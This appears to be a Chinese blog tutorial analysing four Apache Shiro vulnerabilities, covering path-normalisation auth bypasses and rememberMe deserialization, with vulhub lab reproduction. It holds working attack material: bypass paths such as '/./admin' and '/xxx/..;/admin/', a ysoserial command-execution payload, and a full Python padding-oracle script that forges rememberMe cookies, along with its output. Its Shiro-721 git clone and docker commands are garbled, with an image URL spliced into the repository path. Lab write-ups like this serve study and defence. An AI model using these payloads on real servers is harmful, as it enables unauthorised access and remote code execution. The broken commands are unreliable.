前言

Apache Shiro是一个Java 安全框架,它执行身份验证、授权、加密和会话管理。

Shiro介绍

Shiro 框架的有三个核心组件,分别为 ​Subject、SecurityManager 和 ​Realms 。

  • Subject​:用户操作的代理层,代表当前与应用程序交互的实体(用户、第三方服务等)
  • SecurityManager​:Shiro 架构的核心,接收 Subject 的请求,调用内部组件(如 Authenticator、Authorizer),协调所有安全操作(认证、授权、会话管理等)。
  • Realms​:连接 Shiro 与安全数据(数据库、LDAP 等)的桥梁,提供用户凭证和权限信息,验证用户身份

关系图如下:

总体流程:

  1. Subject​ 接收用户请求(如登录),委托给 ​SecurityManager
  2. SecurityManager​ 调用 ​Authenticator​(认证)或 ​Authorizer​(授权)组件
  3. 认证/授权组件通过 ​Realms​ 从数据源获取安全信息(如密码、权限列表)

CVE

截至目前,Shiro总共出现了26个CVE,其中包括反序列化和权限绕过等漏洞;本文以vulhub的CVE-2010-3863、CVE-2016-4437、CVE-2020-1957三个漏洞环境为例来分析漏洞,另外再额外加一个CVE-2019-12422。

CVE编号如下:

  • ……
  • CVE-2022-32532(RegExPatternMatcher)
  • CVE-2021-41303(requestURINoTrailingSlash)
  • CVE-2020-17523(%20)
  • CVE-2020-17510(%2e)
  • CVE-2020-13933(%3b)
  • CVE-2020-11989(%25%32%66、/;/绕过)
  • CVE-2020-1957 (/、/;xx/)
  • CVE-2019-12422(RememberMe、Padding Oracle Attack、CBC)
  • CVE-2016-6802 (Context Path绕过、/x/../)
  • CVE-2016-4437 (RememberMe、硬编码)
  • CVE-2014-0074 (ldap空密码、空用户名、匿名)
  • CVE-2010-3863 (/./)

环境搭建

1
2
3
4
5
#拉取vulhub项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

#解压
unzip vulhub-master.zip

CVE-2010-3863

Shiro进行权限验证前未进行路径标准化,导致使用时可能绕过权限校验

指纹

判断该网站使用 Apache Shiro 框架
勾选记住密码后,登录返回的响应包中 set-Cookie 包含 rememberME=deleteMe 字段

影响版本

  • Apache Shiro < 1.1.0
  • JSecurity 0.9.x (Shiro前身)

原理分析

通过ShiroDemo分析漏洞原理

Demo介绍

项目结构大致如下:

其中realm.ini配置文件中存在两种角色,分别为为用户和管理员

ShiroConfig文件如下:

ShiroConfig源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class ShiroConfig {  

@Bean
public IniRealm getIniRealm(){
return new IniRealm("classpath:realm.ini");
}

@Bean
public DefaultWebSecurityManager getDefaultWebSecurityManager(Realm realm){
return new DefaultWebSecurityManager(realm);
}
/*
* anon:无需认证就可以访问
* authc:必须认证才能访问
* user:必须拥有记住我功能才能访问
* perms:拥有某个资源的权限才能访问
* role:拥有某个角色的权限才能访问
* */ @Bean
ShiroFilterFactoryBean getShiroFilterFactoryBean(DefaultWebSecurityManager defaultWebSecurityManager) {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(defaultWebSecurityManager);
bean.setLoginUrl("/login.html");
LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
map.put("/admin.html", "authc, roles[admin]");
map.put("/user.html", "authc, roles[user]");
map.put("/**", "anon");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}

当请求路径为/admin.html/user.html时需要身份认证才能访问,而/**由于设置的为anon因此不需要认证就可以访问。

anon正常使用时是用来请求静态资源的,如/css/style.css

1
2
3
4
#设置
map.put("/admin.html", "authc, roles[admin]");
map.put("/user.html", "authc, roles[user]");
map.put("/**", "anon");

其他源码可以自行查看

Demo分析

接下来分析一下Shiro处理请求URL的流程

Shiro使用PathMatchingFilterChainResolver下的getChain()方法用来获取和调用需要执行的Filter,跟进去看一下

看到filterChainManager.getChainNames()方法,通过调试并表达式求值,可以知道该方法是用来取出配置的

总共三个配置

1
[/admin.html, /user.html, /**]

大概意思就是如果是admin用户就会匹配/admin.html,user匹配/user.html,如果两个都没匹配到就会到 /**路径

除了上面的filterChainManager.getChainNames()方法
还可以看到另一个方法getPathWithinApplication(),它用来获取我们传入的请求路径。

跟进getPathWithinApplication()方法

再跟进上图中的WebUtils.getPathWithinApplication()方法

看到两个方法为getContextPath()getRequestUri(),第一个是用来获取Context路径,第二个是用来获取请求路径。

跟进第二个方法getRequestUri()看一下

调用了decodeAndCleanUriString()方法

跟进decodeAndCleanUriString()

可以发现该方法是用来处理用户我们请求的URL的,只做了两个处理,一是进行URL解码,二是移除 URI 中第一个分号(;及其后的内容

整体分析完Shiro对这个对请求URL的处理后可以发现该过程并没有对URI并没有进行路径的标准化处理,如果传入特殊字符就存在绕过风险。

比如说传入./admin,它就不无法与配置文件中的admin.htmluser.html匹配,从而与不需要身份认证的/**匹配,进入/**的匹配范围,从而导致越权访问。

漏洞复现

分析完Demo后,回到vulhub复现

启动环境

1
2
#进入环境目录
cd vulhub-master/shiro/CVE-2010-3863/

1
2
#拉取并启动环境
docker compose up -d

1
2
#查看映射端口
docker ps

访问 http://ip:8080

复现

抓包,直接访问/admin会302跳转

请求路径直接拼接 /./admin,无账号成功访问到admin页面,说明绕过了权限校验

修复

 补丁 在更新中添加了标准化路径函数, 对 ////.//../ 等进行了处理。

CVE-2016-4437(Shiro550)

存在反序列化漏洞,利用静态密钥构造序列化payload传入Cookie中的rememberMe参数,目标接收后会对其反序列化从而执行恶意命令。

影响版本

  • Apache Shiro 1.x < 1.2.5

原理分析

相关类与方法介绍

Shiro的解密流程涉及到以下这些类

AbstractRememberMeManagerRememberMeManger接口类的抽象类,getRememberedPrincipals()方法是Shiro框架中RememberMeManager 接口的核心方法,负责从Cookie中恢复用户的身份信息(PrincipalCollection)。

如下图,它可以调用下方的两个方法,getRememberedSerializedIdentity()convertBytesToPrincipals

getRememberedSerializedIdentity()方法主要是获取Cookie 中的内容并通过 Base64 解码,然后返回 byte 数组。

convertBytesToPrincipals()方法主要是对数组进行AES解密和反序列化。

漏洞分析

跟进源码详情看一下

先跟进AbstractRememberMeManager类下的getRememberedPrincipals()方法看一下

可以看到上面提到的两个方法

其中第一个方法AbstractRememberMeManager类的getRememberedSerializedIdentity()方法会调用到它的子类CookieRememberMeManager的这个方法上

跟进去看一下CookieRememberMeManager类的getRememberedSerializedIdentity()

该方法获取Cookie的值并进行了Base64解码

接下来跟进AbstractRememberMeManager类下的第二个方法convertBytesToPrincipals()

看到有一个decrypt()的解密方法和一个deserialize()反序列化方法

跟进decrypt()方法

总共有两个参数,第一个是加密数据,第二个getDecryptionCipherKey()方法获取的应该就是密钥

跟进getDecryptionCipherKey()看一下

返回了decryptionCipherKey

进去跟进decryptionCipherKey

是一个private的属性

右键decryptionCipherKey查找用法看一下是在哪里被赋的值

看到是在setDecryptionCipherKey()方法中写入了

继续跟进setDecryptionCipherKey()

右键setDecryptionCipherKey()查找用法

看到setCipherKey()

搜索一下setCipherKey()看看哪里使用了

找到静态密钥

关于principals
用户最终的身份信息principals会被保存在服务器中

context.setPrincipals(principals)保存

principals会被保存在服务器,因此只要在Cookie的字段中构造恶意数据就可以被保存在服务器。

总结

根据上方的分析可以总结出Shiro对Cookie里RememberMe字段解密流程顺序为:Base解码->AES解密->反序列化,同时这个版本的Shiro的AES密钥是固定的,只要知道静态密钥就可以伪造恶意的序列化数据进行利用。

漏洞复现

启动环境

1
2
3
4
#进入目录
cd vulhub-master/shiro/CVE-2016-4437/
#拉取并启动环境
docker-compose up -d

访问 http://ip:8080

既然已经知道了Cookie处存在反序列化漏洞,可以配合Yakit手工构造payload,但是现在的工具已经很多了,知道原理之后用工具比手搓方便多了,有两款工具ShiroAttack2Pyke-Shiro都有爆破密钥和爆破利用链执行命令的功能,下面用工具直接利用。

使用Pyke-Shiro工具先爆破静态密钥(因为密钥是固定的,用该工具的密钥库爆破密钥),再爆破能够使用的利用链

用爆破出来的密钥与利用链执行命令。

能执行命令说明利用成功。

修复

在Shiro 1.2.5的 Commit 中,移除了硬编码密钥,改为启动时动态生成随机密钥,用户也可以手动配置一个cipherKey。

CVE-2020-1957

影响版本

  • Apache Shiro < 1.5.2

漏洞原理

利用 Shiro 和 Spring 对 URL处理的差异化而越权

漏洞复现

直接访问/admin时,会被重定向到登陆页面

构造恶意路径/xxx/..;/admin/,可绕过权限校验,访问到admin页面

修复

补丁使用 request.getContextPath()request.getServletPath()request.getPathInfo() 拼接构造uri替代request.getRequestURI() 来修复; 绕过

CVE-2019-12422(Shiro721)

该漏洞环境不在vulhub靶场环境的范围内

影响版本

  • Apache Shiro< 1.4.2

漏洞原理

这个漏洞出现的原因主要是AES加密算法本身出现的漏洞,可以通过Padding Oracle(字符填充)进行利用,通过这种方式可以无密钥解密任意密文或构造任意密文。

大概原理就是可以通过服务端对对于有效密文、填充错误的无效密文和有效密文但解密错误的密文的不同响应来判断提供的加密值是否被正确填充,本质上算是爆破。但是由于跑脚本会发出大量请求,因此这个漏洞在实际场景中不太可能利用成功,这个漏洞原理就不详细分析了,详情我是在tttang.comgoodapple.top参考的。

环境搭建

项目地址

1
2
3
4
5
6
7
8
# 下载项目
git clone https://github.com/inspiringz/https://cdn.jjjxx.top/img/Shiro-721.git
# 进入目录
cd https://cdn.jjjxx.top/img/Shiro-721/Docker/
# 构建环境
docker build -t https://cdn.jjjxx.top/img/Shiro-721 .
# 启动环境
docker run -p 8080:8080 -d https://cdn.jjjxx.top/img/Shiro-721

漏洞复现

访问主页,输入网站给的账户密码,勾选记住密码抓包并登录,来获取一个合法用户的rememberMe值。

登录时有两个请求包,查看第二个数据包,响应中可以得到Cookie的RememberMe字段

ysoserial生成恶意序列化文件

1
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/jjxxx" > ser.class

这是上面项目中自带的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time


class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
# self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
self.wait = kwargs.get('wait', 2.0)

def oracle(self, data, **kwargs):
somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
self.session.cookies['rememberMe'] = somecookie
if self.session.cookies.get('JSESSIONID'):
del self.session.cookies['JSESSIONID']

# logging.debug(self.session.cookies)

while 1:
try:
response = self.session.get(sys.argv[1],
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue

self.history.append(response)

# logging.debug(response.headers)

if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
logging.debug('No padding exception raised on %r', somecookie)
return

# logging.debug("Padding exception")
raise BadPaddingException


if __name__ == '__main__':
import logging
import sys

if not sys.argv[3:]:
print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
sys.exit(1)

logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[2]))

padbuster = PadBuster()

payload = open(sys.argv[3], 'rb').read()

enc = padbuster.encrypt(plaintext=payload, block_size=16)

# cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

# print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
print('rememberMe cookies:')
print(b64encode(enc))

拿着上面获得的有效用户的rememberMe字段和用来执行命令的序列化文件来跑脚本

1
python2 shiro_exp.py http://ip:8080/login.jsp ze7hkK/AJFA+cCniNzbxSySylskZ50e2TYaBWge9Ps/R4J0QsDj3+V8DfMfSrZ6nUtrG4adeyUZXiRuEpgt34XWuBv9UH5pGubCjI5xRSCyphBfd3QnaSrixiO3ff2cy62lwmHRjFLDSBQKJSwC9wVtqf5wTRLIkbRPckrpOaG7gvQkM0UOuUUnuoLvv2H2DBxkgtOBM6VFcXJcE/aPjPkkOBn1A9DupBvcnM9vTABZx+uDAU3ibgknXecDMnmanVcishvIsCSMmyndx0Gl9dJmB6KO4yWgxAYocTHCJlBbVbKeGaBC50gnK7fifI05zLHvwQWxcftObFffSMMQU9sOGuHMbepms0ft9MOO7FsnZThLnmtdlC5Hzro4Gf1Emq2dZGebSvZ6h+AsflDtKIg4RAP94q1QidVaXv5v/zsLhdKwiprVyDpZTN3mX3WQYvuWqX9ZPnvGz28bNlw0uL7bSHhvSjQUosg6OtntNfrYJf5eqzU8rQX1z+z2zEZG6 ser.class

我这里跑出来大概用了8 9小时左右,得到一个恶意的rememberMe字段

将生成的 rememberMe字段值放到Cookie中再发一次包就可以了。

1
2
rememberMe cookies:
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

发包后进入容器查看

1
docker exec -it df /bin/bash

看到成功创建文件夹

其他可用工具ShiroExploit-Deprecated,感觉这个更方便。

修复

补丁将AES-CBC加密模式替换为更安全的 ​AES-GCM,密钥动态生成加固​,密钥生成过程增强随机性,防止预测或爆破。

总结

通过四个漏洞分析了Shiro框架的权限绕过和反序列化漏洞,除了Shiro721真实场景下很难利用成功,其他的利用难度都不大。